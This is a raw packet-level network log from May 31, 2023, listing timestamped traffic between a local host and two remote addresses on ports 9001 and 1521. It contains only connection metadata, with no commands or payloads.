May 31, 2023 12:23:14.906042099 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906056881 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906075001 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906096935 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906109095 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906111002 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906142950 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906152964 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906177998 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906210899 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906222105 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906244993 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906255960 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906279087 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906325102 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906325102 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906359911 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906394005 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906407118 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906430006 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906462908 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906482935 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906497002 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906531096 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906542063 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906563044 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906598091 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.906606913 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906631947 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.906666040 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.906678915 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.906698942 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906709909 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.906733990 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906745911 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906769991 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906802893 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906816959 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906836033 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.906841040 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.906868935 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.906877995 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.906903028 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.906912088 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.906935930 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906949043 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.906969070 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906980038 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.907011986 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.907042980 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.907059908 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.907075882 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907083035 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.907108068 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907129049 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907140017 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907154083 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907171965 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907195091 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907205105 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907212973 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907238007 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907249928 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907269955 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907284021 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907304049 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907314062 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907335997 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907345057 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907368898 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907380104 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907401085 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907413006 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907435894 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907449961 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907469034 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907480955 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907501936 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.907514095 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.907545090 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.908478975 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.908514023 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.908545971 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.908570051 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.908576965 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.908597946 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.908611059 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.908632040 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.908643007 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.908679962 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.908699989 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.909224987 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.909266949 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.909349918 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.909374952 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.909390926 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.909415007 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.909434080 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.909445047 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.909482956 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.909483910 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.909531116 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.909535885 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.909584045 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.909631014 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.910372019 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910419941 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910461903 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910489082 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.910521030 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.910721064 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910772085 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910783052 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.910813093 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910818100 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.910851955 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910859108 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.910895109 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910897017 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.910934925 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910940886 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.910978079 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.910980940 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911020041 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911025047 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911061049 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911066055 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911103010 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911107063 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911144018 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911149025 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911185026 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911190033 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911226988 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911231041 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911267042 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911273956 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911309004 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911313057 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911350012 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911356926 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911391020 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911396980 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911432028 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911437035 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911472082 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911478996 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911514044 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911516905 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911556005 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911559105 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911596060 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911602020 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911638021 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911640882 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911679029 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911684036 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911719084 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911725044 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911761045 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911766052 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911801100 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911808014 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911843061 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911847115 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911884069 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911890030 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911925077 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911931992 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.911964893 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.911973000 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912005901 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912012100 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912045956 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912060976 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912086964 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912091970 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912148952 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912174940 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912192106 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.912224054 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912234068 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912249088 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.912291050 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912302971 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912342072 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912380934 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912390947 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912424088 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912427902 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912463903 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912471056 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912504911 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912512064 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912544012 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912553072 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912585020 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912591934 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912626028 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912631035 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912664890 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912672043 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912704945 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912710905 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912745953 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912754059 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912786007 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912791967 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912826061 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.912832975 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.912866116 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.912874937 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.912906885 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912914038 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.912947893 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.912986994 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913001060 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913028002 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913033962 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913069010 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913078070 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913108110 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913115978 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913149118 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913165092 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913189888 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913197041 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913230896 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913270950 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913285017 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913310051 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913320065 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913352966 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913357019 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913393021 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913449049 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913486958 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913497925 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913526058 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913530111 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913564920 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913614035 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913655043 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913664103 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913696051 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913701057 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913737059 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913788080 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913826942 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913836956 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913866043 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913872004 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913904905 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913932085 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913944006 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.913949966 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.913983107 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.914021969 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.914072037 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.914072990 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.914114952 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.914117098 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.914159060 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.914171934 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.914203882 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.920317888 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.922656059 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.929821014 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.931348085 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931380033 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931407928 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931437969 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931473970 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931504965 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931535959 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931543112 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931544065 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931544065 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.931566954 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931588888 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931588888 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931588888 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931597948 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931628942 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931632042 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931653023 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931685925 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931719065 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931750059 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931781054 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931811094 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931839943 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931857109 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931857109 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931869030 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931891918 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931891918 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931900024 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931931019 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931935072 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931957006 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931965113 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.931979895 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.931999922 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932015896 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932029963 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932050943 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932059050 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932082891 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932090044 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932110071 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932121038 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932146072 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932149887 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932168961 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932188988 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932204008 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932218075 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932243109 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932246923 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932277918 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932301044 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932317972 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932332039 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932360888 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932389975 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932394028 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932419062 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932421923 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932446003 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932451963 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932472944 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932482958 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932504892 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932512999 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932538033 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932542086 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932564974 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932573080 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932594061 CEST	49726	9001	192.168.2.6	217.79.179.177
